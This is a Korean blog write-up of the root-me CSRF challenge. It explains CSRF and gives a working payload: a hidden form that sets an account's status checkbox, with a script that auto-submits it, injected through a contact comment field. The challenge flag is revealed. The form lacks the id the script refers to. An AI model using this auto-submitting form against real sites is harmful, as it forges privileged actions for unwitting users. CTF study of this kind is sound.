이번엔 csrf 문제!
xss 문제를 풀기 전에 복습을 하고 진행 했듯이csrf 도 간단하게 복습하고 풀어보자.
* CSRF
: cross site requery forgery
: 공격자가 다른 사용자의HTTP 요청을 위조하는 공격
: 그 예로는 이메일 전송 위조 방법이 있다.
<img> 태그 - 원래는 이미지 파일을 링크하는데 이용되지만, src 속성으로 설정되는 어떠한URI도 링크하는데 이용될 수 있다는 점에서 xss 와csrf 공격에 자주 사용.
이제 문제를 풀어보자.
개발자 도구에서 확인해본 결과 단서 같은 것은 따로 없었고, 필드에 맞추어 회원가입을 하고 로그인을 하면
이런 화면으로 바뀌게 된다. Contact 를 눌러본다.
내 이메일 주소와 첨부할 내용을 작성해서 제출하는 것 같다.
Profile과 Private를 각각 눌러보면,
내 계정이 아직 승인되지 않았으니 기다리라는 문구가 있다.
전혀 감이 오지 않아서 구글링을 통해 문제 풀이에 대한 힌트를 얻었다.
우선 profile 에서 status 가 disabled 되어있기 때문에 이 부분을 checked 되도록 수정하면 되는 것 같은데..
단순하게 개발자 도구에서 disabled 를checked 로 바꾸어 본 결과는
희희,.,, 똑똑한 녀석
따라서 Contact 의 comment 영역을 활용해서 변경해야한다.
Profile 에서 form 필드만 긁어온 후
form 헤더와 username과 status input 필드만 남겨두고 지워준다.
이때 status에서 disabled를 지우고 checked 로 변경.
또 헤더부분에 url에는 profile 페이지의 full url 을 입력.
<form action=“http://challeng01.root-me.org/web-client/ch22/?action=profile” method=“post” enctype=“multipart/form-data”>
<input type=“text” name=“username” value=“aaa”>
<input type=“checkbox’ name=“status” checked>
</form>
그리고 submit 을 한다.
그러나 private 페이지에서 아무리 새로고침을 해도 flag 를 얻을 수 없었다.
그래서 document.getElementById(“html헤더 id”).submit 를 이용해서 우리가 조작한 form 태그에 접근하도록 해야한다는 것을 알게 되었다.
<form action=“http://challeng01.root-me.org/web-client/ch22/?action=profile” method=“post” enctype=“multipart/form-data”>
<input type="text" name="username" value="aaa">
<input type="checkbox" name="status" checked>
</form> <script>document.getElementById("csrf").submit()</script>
submit 한 후 private 페이지로 이동하면 flag 획득!
flag : Csrf_Fr33style-L3v3l1!
진짜 문제가 점점 어려워지고 있는듯 하다.
'WARGAME > root-me : web-client [web]' 카테고리의 다른 글
root-me : web-client / 9) XSS - Stored 1 [write-up] (2) | 2020.01.30 |
---|---|
root-me : web-client / 8) Javascript - Obfuscation 3 [write-up] (0) | 2020.01.30 |
root-me : web-client / 7) Javascript - Native code [write-up] (0) | 2020.01.30 |
root-me : web-client / 6) Javascript - Obfuscation 2 [write-up] (0) | 2020.01.30 |
root-me : web-client / 5) Javascript - Obfuscation 1 [write-up] (0) | 2020.01.30 |